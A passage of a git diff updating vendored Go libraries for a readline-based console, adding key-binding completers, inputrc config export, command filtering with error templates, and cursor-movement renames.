carapace.ActionValues().Usage("sequence"), - functionsComps, - ) - - return cmd -} -func applyToKeymap(keymap string, bind func(keymap string)) { - switch keymap { - case "emacs", "emacs-standard": - for _, km := range []string{"emacs", "emacs-standard"} { - bind(km) + cmdBinds = append(cmdBinds, key) } - case "emacs-ctlx": - for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} { - bind(km) - } - case "emacs-meta": - for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} { - bind(km) - } - case "vi", "vi-move", "vi-command": - for _, km := range []string{"vi", "vi-move", "vi-command"} { - bind(km) + + for _, key := range cmdBinds { + delete(binds, key) } - default: - bind(keymap) } + + applyToKeymap(keymap, removeBind) } diff --git a/vendor/github.com/reeflective/console/commands/readline/commands.go b/vendor/github.com/reeflective/console/commands/readline/commands.go index e3ec1bf03b..cb89c6c650 100644 --- a/vendor/github.com/reeflective/console/commands/readline/commands.go +++ b/vendor/github.com/reeflective/console/commands/readline/commands.go @@ -1,8 +1,9 @@ package readline import ( - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Commands returns a command named `readline`, with subcommands dedicated diff --git a/vendor/github.com/reeflective/console/commands/readline/completers.go b/vendor/github.com/reeflective/console/commands/readline/completers.go new file mode 100644 index 0000000000..fa3ee06b69 --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/completers.go @@ -0,0 +1,115 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +func completeKeymaps(sh *readline.Shell, _ *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + results := make([]string, 0) + + for name := range sh.Config.Binds { + results = append(results, name) + } + + return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap") + }) +} + +func completeBindSequences(sh *readline.Shell, cmd *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { + // Get the keymap. + var keymap string + + if cmd.Flags().Changed("keymap") { + keymap, _ = cmd.Flags().GetString("keymap") + } + + if keymap == "" { + keymap = string(sh.Keymap.Main()) + } + + // Get the binds. + binds := sh.Config.Binds[keymap] + if binds == nil { + return carapace.ActionValues().Usage("sequence") + } + + // Make a list of all sequences bound to each command, with descriptions. + cmdBinds := make([]string, 0) + insertBinds := make([]string, 0) + + for key, bind := range binds { + if bind.Action == "self-insert" { + insertBinds = append(insertBinds, "\""+inputrc.Escape(key)+"\"") + } else { + cmdBinds = append(cmdBinds, "\""+inputrc.Escape(key)+"\"") + cmdBinds = append(cmdBinds, bind.Action) + } + } + + return carapace.Batch( + carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), + carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), + ).ToA() + }) +} + +func completeCommands(sh *readline.Shell, _ *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + results := make([]string, 0) + + for name := range sh.Keymap.Commands() { + results = append(results, name) + } + + return carapace.ActionValues(results...).Tag("commands").Usage("command") + }) +} + +func applyToKeymap(keymap string, bind func(keymap string)) { + switch keymap { + case "emacs", "emacs-standard": + for _, km := range []string{"emacs", "emacs-standard"} { + bind(km) + } + case "emacs-ctlx": + for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} { + bind(km) + } + case "emacs-meta": + for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} { + bind(km) + } + case "vi", "vi-move", "vi-command": + for _, km := range []string{"vi", "vi-move", "vi-command"} { + bind(km) + } + default: + bind(keymap) + } +} diff --git a/vendor/github.com/reeflective/console/commands/readline/config.go b/vendor/github.com/reeflective/console/commands/readline/config.go new file mode 100644 index 0000000000..b435dc66db --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/config.go @@ -0,0 +1,54 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "strings" +) + +// manages display of .inputrc-compliant listings/snippets. +type cfgBuilder struct { + buf *strings.Builder + names []string +} + +// Write writes a single inputrc line with the appropriate contextual indent. +func (cfg *cfgBuilder) Write(data []byte) (int, error) { + indent := strings.Repeat(" ", 4*len(cfg.names)) + + iLen, _ := cfg.buf.Write([]byte(indent)) + bLen, err := cfg.buf.Write(data) + + return iLen + bLen, err +} + +func (cfg *cfgBuilder) newCond(name string) { + cfg.Write([]byte(fmt.Sprintf("$if %s\n", name))) + cfg.names = append(cfg.names, name) +} + +func (cfg *cfgBuilder) endCond() { + if len(cfg.names) == 0 { + return + } + + cfg.names = cfg.names[:len(cfg.names)-1] + cfg.Write([]byte("$endif\n")) +} diff --git a/vendor/github.com/reeflective/console/commands/readline/export.go b/vendor/github.com/reeflective/console/commands/readline/export.go new file mode 100644 index 0000000000..67f70e9ff2 --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/export.go @@ -0,0 +1,389 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "sort" + "strings" + + "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +const ( + printOn = "on" + printOff = "off" +) + +// listVars prints the readline global option variables in human-readable format. +func listVars(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) { + var vars map[string]interface{} + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + vars = cfgChanged.Vars + } else { + vars = shell.Config.Vars + } + + if len(vars) == 0 { + return + } + + var variables = make([]string, len(shell.Config.Vars)) + + for variable := range shell.Config.Vars { + variables = append(variables, variable) + } + + sort.Strings(variables) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "======= Global Variables =========") + fmt.Fprintln(buf) + + for _, variable := range variables { + value := shell.Config.Vars[variable] + if value == nil || variable == "" { + continue + } + + fmt.Fprintf(buf, "%s is set to `%v'\n", variable, value) + } +} + +// listVarsRC returns the readline global options, split according to which are +// supported by which library, and output in .inputrc compliant format. +func listVarsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) { + var vars map[string]interface{} + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + vars = cfgChanged.Vars + } else { + vars = shell.Config.Vars + } + + if len(vars) == 0 { + return + } + + // Include print all legacy options. + // Filter them in a separate groups only if NOT being used with --app/--lib + if !cmd.Flags().Changed("app") && !cmd.Flags().Changed("lib") { + var legacy []string + for variable := range filterLegacyVars(vars) { + legacy = append(legacy, variable) + } + + sort.Strings(legacy) + + fmt.Fprintln(buf, "# General/legacy Options (generated from reeflective/readline)") + + for _, variable := range legacy { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = "on" + } else { + printVal = "off" + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } + + // Now we print the App/lib specific. + var reef []string + + for variable := range filterAppLibVars(vars) { + reef = append(reef, variable) + } + + sort.Strings(reef) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# reeflective/readline specific options (generated)") + fmt.Fprintln(buf, "# The following block is not implemented in GNU C Readline.") + buf.newCond("reeflective") + + for _, variable := range reef { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = printOn + } else { + printVal = printOff + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } + + buf.endCond() + + return + } + + fmt.Fprintln(buf, "# General options (legacy and reeflective)") + + var all []string + for variable := range vars { + all = append(all, variable) + } + sort.Strings(all) + + for _, variable := range all { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = "on" + } else { + printVal = "off" + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } +} + +// listBinds prints the bind sequences for a given keymap, +// according to command filter flags, in human-readable format. +func listBinds(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + // Get all the commands, used to sort the displays. + var commands = make([]string, len(shell.Keymap.Commands())) + for command := range shell.Keymap.Commands() { + commands = append(commands, command) + } + + sort.Strings(commands) + + query, _ := cmd.Flags().GetString("query") + mustMatchQuery := query != "" && cmd.Flags().Changed("query") + + // Make a list of all sequences bound to each command. + allBinds := make(map[string][]string) + + for _, command := range commands { + for key, bind := range binds { + if bind.Action != command { + continue + } + + // If we are querying a specific command + if bind.Action != query && mustMatchQuery { + continue + } + + commandBinds := allBinds[command] + commandBinds = append(commandBinds, inputrc.Escape(key)) + allBinds[command] = commandBinds + } + } + + if len(commands) == 0 { + return + } + + fmt.Fprintln(buf) + fmt.Fprintf(buf, "===== Command Binds (%s) =======\n", keymap) + fmt.Fprintln(buf) + + for _, command := range commands { + commandBinds := allBinds[command] + sort.Strings(commandBinds) + + switch { + case len(commandBinds) == 0: + case len(commandBinds) > 5: + var firstBinds []string + + for i := 0; i < 5; i++ { + firstBinds = append(firstBinds, "\""+commandBinds[i]+"\"") + } + + bindsStr := strings.Join(firstBinds, ", ") + fmt.Fprintf(buf, "%s can be found on %s ...\n", command, bindsStr) + + default: + var firstBinds []string + + for _, bind := range commandBinds { + firstBinds = append(firstBinds, "\""+bind+"\"") + } + + bindsStr := strings.Join(firstBinds, ", ") + fmt.Fprintf(buf, "%s can be found on %s\n", command, bindsStr) + } + } +} + +// listBindsRC prints the bind sequences for a given keymap, +// according to command filter flags, in .inputrc compliant format. +func listBindsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + selfInsert, _ := cmd.Flags().GetBool("self-insert") + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + if len(binds) == 0 { + return + } + + // Get all the commands, used to sort the displays. + var commands = make([]string, len(shell.Keymap.Commands())) + for command := range shell.Keymap.Commands() { + commands = append(commands, command) + } + + sort.Strings(commands) + + // Make a list of all sequences bound to each command. + allBinds := make(map[string][]string) + + for _, command := range commands { + for key, bind := range binds { + if bind.Action != command { + continue + } + + commandBinds := allBinds[command] + commandBinds = append(commandBinds, inputrc.Escape(key)) + allBinds[command] = commandBinds + } + } + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# Command binds (generated from reeflective/readline)") + fmt.Fprintf(buf, "set keymap %s\n\n", keymap) + + for _, command := range commands { + commandBinds := allBinds[command] + sort.Strings(commandBinds) + + if command == "self-insert" && !selfInsert { + continue + } + + if len(commandBinds) > 0 { + for _, bind := range commandBinds { + fmt.Fprintf(buf, "\"%s\": %s\n", bind, command) + } + } + } +} + +// listMacros prints the recorded/existing macros for a given keymap, in human-readable format. +func listMacros(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + var macroBinds []string + + for keys, bind := range binds { + if bind.Macro { + macroBinds = append(macroBinds, inputrc.Escape(keys)) + } + } + + if len(macroBinds) == 0 { + return + } + + sort.Strings(macroBinds) + + fmt.Fprintln(buf) + fmt.Fprintf(buf, "====== Macros (%s) ======\n", keymap) + fmt.Fprintln(buf) + + for _, key := range macroBinds { + action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) + fmt.Printf("%s outputs %s\n", key, action) + } +} + +// listMacros prints the recorded/existing macros for a given keymap, in .inputrc compliant format. +func listMacrosRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + var macroBinds []string + + for keys, bind := range binds { + if bind.Macro { + macroBinds = append(macroBinds, inputrc.Escape(keys)) + } + } + + if len(macroBinds) == 0 { + return + } + + sort.Strings(macroBinds) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# Macro binds (generated from reeflective/readline)") + fmt.Fprintf(buf, "set keymap %s\n\n", keymap) + + for _, key := range macroBinds { + action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) + fmt.Fprintf(buf, "\"%s\": \"%s\"\n", key, action) + } +} diff --git a/vendor/github.com/reeflective/console/commands/readline/set.go b/vendor/github.com/reeflective/console/commands/readline/set.go index 92d2739ea2..ee0a2da046 100644 --- a/vendor/github.com/reeflective/console/commands/readline/set.go +++ b/vendor/github.com/reeflective/console/commands/readline/set.go @@ -3,11 +3,23 @@ package readline import ( "errors" "strconv" + "strings" - "github.com/reeflective/readline" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" + "golang.org/x/exp/maps" + "golang.org/x/exp/slices" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +var ( + // We here must assume that all bind changes during the lifetime + // of the binary are all made by a single readline application. + // This config only stores the vars/binds that have been changed. + cfgChanged = inputrc.Config{} ) // Set returns a command named `set`, for manipulating readline global options. @@ -45,7 +57,11 @@ func Set(shell *readline.Shell) *cobra.Command { } // Set the option. - return shell.Config.Set(args[0], value) + if err = shell.Config.Set(args[0], value); err != nil { + return err + } + + return cfgChanged.Set(args[0], value) }, } @@ -61,11 +77,20 @@ func Set(shell *readline.Shell) *cobra.Command { } argComp := func(c carapace.Context) carapace.Action { - val := c.Args[len(c.Args)-1] + val := strings.TrimSpace(c.Args[len(c.Args)-1]) option := shell.Config.Get(val) if option == nil { - return carapace.ActionValues() + return carapace.ActionMessage("No var named %v", option) + } + + switch val { + case "cursor-style": + return carapace.ActionValues("block", "beam", "underline", "blinking-block", "blinking-underline", "blinking-beam", "default") + case "editing-mode": + return carapace.ActionValues("vi", "emacs") + case "keymap": + return completeKeymaps(shell, cmd) } switch option.(type) { @@ -73,8 +98,8 @@ func Set(shell *readline.Shell) *cobra.Command { return carapace.ActionValues("on", "off", "true", "false").StyleF(style.ForKeyword) case int: return carapace.ActionValues().Usage("option value (int)") - default: - carapace.ActionValues().Usage("option value (string)") + case string: + return carapace.ActionValues().Usage("option value (string)") } return carapace.ActionValues().Usage("option value") @@ -87,3 +112,59 @@ func Set(shell *readline.Shell) *cobra.Command { return cmd } + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterAppLibVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterLegacyVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if !slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Filters out all configuration variables that have not been changed. +func filterChangedVars(allVars map[string]interface{}) map[string]interface{} { + if allVars == nil { + return cfgChanged.Vars + } + + appVars := make(map[string]interface{}) + defVars := maps.Keys(appVars) + + for name, val := range allVars { + if slices.Contains(defVars, name) { + appVars[name] = val + } + } + + return appVars +} diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go index ae9898f563..619dd69f41 100644 --- a/vendor/github.com/reeflective/console/console.go +++ b/vendor/github.com/reeflective/console/console.go @@ -136,11 +136,12 @@ func (c *Console) Menu(name string) *Menu { // that belong to this new menu. If the menu is invalid, i.e that no commands // are bound to this menu name, the current menu is kept. func (c *Console) SwitchMenu(menu string) { - c.mutex.RLock() - defer c.mutex.RUnlock() + c.mutex.Lock() + target, found := c.menus[menu] + c.mutex.Unlock() - // Only switch if the target menu was found. - if target, found := c.menus[menu]; found && target != nil { + if found && target != nil { + // Only switch if the target menu was found. current := c.activeMenu() if current != nil && target == current { return diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 27d8412a18..49967455e5 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -2,9 +2,12 @@ package console import ( "bytes" + "errors" "fmt" + "io" "strings" "sync" + "text/template" "github.com/reeflective/readline" "github.com/spf13/cobra" @@ -35,6 +38,9 @@ type Menu struct { // Command spawner cmds Commands + // An error template to use to produce errors when a command is unavailable. + errFilteredTemplate string + // History sources peculiar to this menu. historyNames []string histories map[string]readline.History @@ -186,21 +192,104 @@ func (m *Menu) Printf(msg string, args ...any) (n int, err error) { return m.console.Printf(buf) } +// ErrUnavailableCommand checks if a target command is marked as filtered as per the console +// application registered/and or active filters (added with console.Hide/ShowCommand()), and +// if yes, returns a template-formatted error message showing the list of incompatible filters. +func (m *Menu) ErrUnavailableCommand(target *cobra.Command) error { + if target == nil { + return nil + } + + filters := m.ActiveFiltersFor(target) + if len(filters) == 0 { + return nil + } + + var bufErr strings.Builder + + err := tmpl(&bufErr, m.errorFilteredCommandTemplate(filters), map[string]interface{}{ + "menu": m, + "cmd": target, + "filters": filters, + }) + + if err != nil { + return err + } + + return errors.New(bufErr.String()) +} + +// ActiveFiltersFor returns all the active menu filters that a given command +// does not declare as compliant with (added with console.Hide/ShowCommand()). +func (m *Menu) ActiveFiltersFor(cmd *cobra.Command) []string { + if cmd.Annotations == nil { + return nil + } + + m.console.mutex.Lock() + defer m.console.mutex.Unlock() + + // Get the filters on the command + filterStr := cmd.Annotations[CommandFilterKey] + var filters []string + + for _, cmdFilter := range strings.Split(filterStr, ",") { + for _, filter := range m.console.filters { + if cmdFilter != "" && cmdFilter == filter { + filters = append(filters, cmdFilter) + } + } + } + + return filters +} + +// SetErrFilteredCommandTemplate sets the error template to be used +// when a called command can't be executed because it's mark filtered. +func (m *Menu) SetErrFilteredCommandTemplate(s string) { + m.errFilteredTemplate = s +} + // resetPreRun is called before each new read line loop and before arbitrary RunCommand() calls. // This function is responsible for resetting the menu state to a clean state, regenerating the // menu commands, and ensuring that the correct prompt is bound to the shell. func (m *Menu) resetPreRun() { - m.console.mutex.RLock() - defer m.console.mutex.RUnlock() + m.mutex.Lock() + defer m.mutex.Unlock() + + // Commands + if m.cmds != nil { + m.Command = m.cmds() + } + + if m.Command == nil { + m.Command = &cobra.Command{ + Annotations: make(map[string]string), + } + } + + // Hide commands that are not available + m.hideFilteredCommands(m.Command) // Menu setup - m.resetCommands() // Regenerate the commands for the menu. m.resetCmdOutput() // Reset or adjust any buffered command output. m.prompt.bind(m.console.shell) // Prompt binding +} + +// hide commands that are filtered so that they are not +// shown in the help strings or proposed as completions. +func (m *Menu) hideFilteredCommands(root *cobra.Command) { + for _, cmd := range root.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } - // Console-wide setup. - m.console.ensureNoRootRunner() // Avoid printing any help when the command line is empty - m.console.hideFilteredCommands() // Hide commands that are not available + if filters := m.ActiveFiltersFor(cmd); len(filters) > 0 { + cmd.Hidden = true + } + } } func (m *Menu) resetCmdOutput() { @@ -217,20 +306,6 @@ func (m *Menu) resetCmdOutput() { m.out.WriteString("\n") } -func (m *Menu) resetCommands() { - if m.cmds != nil { - m.Command = m.cmds() - } - - if m.Command == nil { - m.Command = &cobra.Command{ - Annotations: make(map[string]string), - } - } - - m.SilenceUsage = true -} - func (m *Menu) defaultHistoryName() string { var name string @@ -240,3 +315,25 @@ func (m *Menu) defaultHistoryName() string { return fmt.Sprintf("local history%s", name) } + +func (m *Menu) errorFilteredCommandTemplate(filters []string) string { + if m.errFilteredTemplate != "" { + return m.errFilteredTemplate + } + + return `Command {{.cmd.Name}} is only available for: {{range .filters }} + - {{.}} +{{end}}` +} + +// tmpl executes the given template text on data, writing the result to w. +func tmpl(w io.Writer, text string, data interface{}) error { + t := template.New("top") + t.Funcs(templateFuncs) + template.Must(t.Parse(text)) + return t.Execute(w, data) +} + +var templateFuncs = template.FuncMap{ + "trim": strings.TrimSpace, +} diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go index eb5b60b9c1..e6dc7bd3b8 100644 --- a/vendor/github.com/reeflective/console/run.go +++ b/vendor/github.com/reeflective/console/run.go @@ -37,7 +37,7 @@ func (c *Console) Start() error { c.printed = false - if err := c.runPreReadHooks(); err != nil { + if err := c.runAllE(c.PreReadlineHooks); err != nil { fmt.Printf("Pre-read error: %s\n", err.Error()) continue } @@ -83,8 +83,48 @@ func (c *Console) Start() error { // the library user is responsible for setting // the cobra behavior. // If it's an interrupt, we take care of it. - c.execute(menu, args, false) + if err := c.execute(menu, args, false); err != nil { + fmt.Println(err) + } + } +} + +// ExecuteOnce is a wrapper around the classic one-time cobra command execution. +// This call is thus blocking during the entire parsing and execution process +// of a command-line. +// +// This function should be useful if you have trees of commands that can +// be executed both in closed-loop applications or in a one-off exec style. +// Normally, most commands should, if your command behavior/API has no magic. +// +// The command line (os.Args) is matched against the currently active menu. +// Be sure to set and verify this menu before calling this function. +// This function also does not print any application logo. +func (c *Console) ExecuteOnce() error { + // Always ensure we work with the active menu, with freshly + // generated commands, bound prompts and some other things. + menu := c.activeMenu() + menu.resetPreRun() + + c.printed = false + + if c.NewlineBefore { + fmt.Println() } + + // Run user-provided pre-run line hooks, + // which may modify the input line args. + args, err := c.runLineHooks(os.Args) + if err != nil { + return fmt.Errorf("line error: %s\n", err.Error()) + } + + // Run all pre-run hooks and the command itself + // Don't check the error: if its a cobra error, + // the library user is responsible for setting + // the cobra behavior. + // If it's an interrupt, we take care of it. + return c.execute(menu, args, false) } // RunCommand is a convenience function to run a command in a given menu. @@ -105,9 +145,7 @@ func (m *Menu) RunCommand(line string) (err error) { m.resetPreRun() // Run the command and associated helpers. - m.console.execute(m, args, !m.console.isExecuting) - - return + return m.console.execute(m, args, !m.console.isExecuting) } // execute - The user has entered a command input line, the arguments have been processed: @@ -134,14 +172,14 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Find the target command: if this command is filtered, don't run it. target, _, _ := cmd.Find(args) - if c.isFiltered(target) { - return + + if err := menu.ErrUnavailableCommand(target); err != nil { + return err } // Console-wide pre-run hooks, cannot. - if err = c.runPreRunHooks(); err != nil { - fmt.Printf("Pre-run error: %s\n", err.Error()) - return + if err = c.runAllE(c.PreCmdRunHooks); err != nil { + return fmt.Errorf("pre-run error: %s", err.Error()) } // Assign those arguments to our parser. @@ -162,7 +200,10 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Wait for the command to finish, or for an OS signal to be caught. select { case <-ctx.Done(): - err = ctx.Err() + if !errors.Is(ctx.Err(), context.Canceled) { + err = ctx.Err() + } + case signal := <-sigchan: cancel(errors.New(signal.String())) menu.handleInterrupt(errors.New(signal.String())) @@ -181,7 +222,7 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF // And the post-run hooks in the same goroutine, // because they should not be skipped even if // the command is backgrounded by the user. - if err := c.runPostRunHooks(); err != nil { + if err := c.runAllE(c.PostCmdRunHooks); err != nil { cancel(err) return } @@ -210,8 +251,8 @@ func (c *Console) loadActiveHistories() { } } -func (c *Console) runPreReadHooks() error { - for _, hook := range c.PreReadlineHooks { +func (c *Console) runAllE(hooks []func() error) error { + for _, hook := range hooks { if err := hook(); err != nil { return err } @@ -235,26 +276,6 @@ func (c *Console) runLineHooks(args []string) ([]string, error) { return processed, nil } -func (c *Console) runPreRunHooks() error { - for _, hook := range c.PreCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - -func (c *Console) runPostRunHooks() error { - for _, hook := range c.PostCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - // monitorSignals - Monitor the signals that can be sent to the process // while a command is running. We want to be able to cancel the command. func (c *Console) monitorSignals() <-chan os.Signal { diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/tab-completer.go index 2da490bb65..5418bdfc0b 100644 --- a/vendor/github.com/reeflective/console/tab-completer.go +++ b/vendor/github.com/reeflective/console/tab-completer.go @@ -5,6 +5,7 @@ import ( "errors" "fmt" "os" + "regexp" "strings" "unicode/utf8" @@ -27,6 +28,9 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { // (we currently need those two dummies for avoiding a panic). args = append([]string{"examples", "_carapace"}, args...) + // Regenerate a new instance of the commands. + // menu.hideFilteredCommands(cmd) + // Call the completer with our current command context. values, meta := carapace.Complete(menu.Command, args, c.completeCommands(menu)) @@ -64,6 +68,9 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { } func splitArgs(line []rune) (args []string, prefix string) { + // Remove all colors from the string + line = []rune(strip(string(line))) + // Split the line as shellwords, return them if all went fine. args, remain, err := splitCompWords(string(line)) if err == nil { @@ -114,8 +121,13 @@ func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) { // Regenerate commands and apply any filters. func (c *Console) completeCommands(menu *Menu) func() { commands := func() { - menu.resetCommands() - c.hideFilteredCommands() + cmd := menu.Command + if menu.cmds != nil { + cmd = menu.cmds() + } + + menu.resetPreRun() + menu.hideFilteredCommands(cmd) } return commands @@ -299,3 +311,12 @@ double: done: return buf.String(), input, nil } + +const ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))" + +var re = regexp.MustCompile(ansi) + +// strip removes all ANSI escaped color sequences in a string. +func strip(str string) string { + return re.ReplaceAllString(str, "") +} diff --git a/vendor/github.com/reeflective/readline/internal/core/line.go b/vendor/github.com/reeflective/readline/internal/core/line.go index 7f34c9c526..b5a4526e4f 100644 --- a/vendor/github.com/reeflective/readline/internal/core/line.go +++ b/vendor/github.com/reeflective/readline/internal/core/line.go @@ -331,7 +331,7 @@ func DisplayLine(l *Line, indent int) { // Clear everything before each line, except the first. if num > 0 { - term.MoveCursorForwards(indent) + term.MoveCursorForward(indent) line = term.ClearLineBefore + line } diff --git a/vendor/github.com/reeflective/readline/internal/display/engine.go b/vendor/github.com/reeflective/readline/internal/display/engine.go index 5cd907e73c..892e9eeb09 100644 --- a/vendor/github.com/reeflective/readline/internal/display/engine.go +++ b/vendor/github.com/reeflective/readline/internal/display/engine.go @@ -73,7 +73,7 @@ func (e *Engine) Refresh() { // Go back to the first column, and if the primary prompt // was not printed yet, back up to the line's beginning row. - term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorBackward(term.GetWidth()) if !e.primaryPrinted { term.MoveCursorUp(e.cursorRow) @@ -113,7 +113,7 @@ func (e *Engine) ClearHelpers() { term.MoveCursorUp(1) term.MoveCursorUp(e.lineRows) term.MoveCursorDown(e.cursorRow) - term.MoveCursorForwards(e.cursorCol) + term.MoveCursorForward(e.cursorCol) } // ResetHelpers cancels all active hints and completions. @@ -132,16 +132,16 @@ func (e *Engine) AcceptLine() { e.computeCoordinates() // Go back to the end of the non-suggested line. - term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorBackward(term.GetWidth()) term.MoveCursorDown(e.lineRows) - term.MoveCursorForwards(e.lineCol) + term.MoveCursorForward(e.lineCol) fmt.Print(term.ClearScreenBelow) // Reprint the right-side prompt if it's not a tooltip one. e.prompt.RightPrint(e.lineCol, false) // Go below this non-suggested line and clear everything. - term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorBackward(term.GetWidth()) fmt.Print(term.NewlineReturn) } @@ -166,9 +166,9 @@ func (e *Engine) RefreshTransient() { // This function should only be called when the cursor is on its // "cursor" position on the input line. func (e *Engine) CursorToLineStart() { - term.MoveCursorBackwards(e.cursorCol) + term.MoveCursorBackward(e.cursorCol) term.MoveCursorUp(e.cursorRow) - term.MoveCursorForwards(e.startCols) + term.MoveCursorForward(e.startCols) } // CursorBelowLine moves the cursor to the leftmost @@ -186,8 +186,8 @@ func (e *Engine) CursorBelowLine() { // last character of the prompt. func (e *Engine) 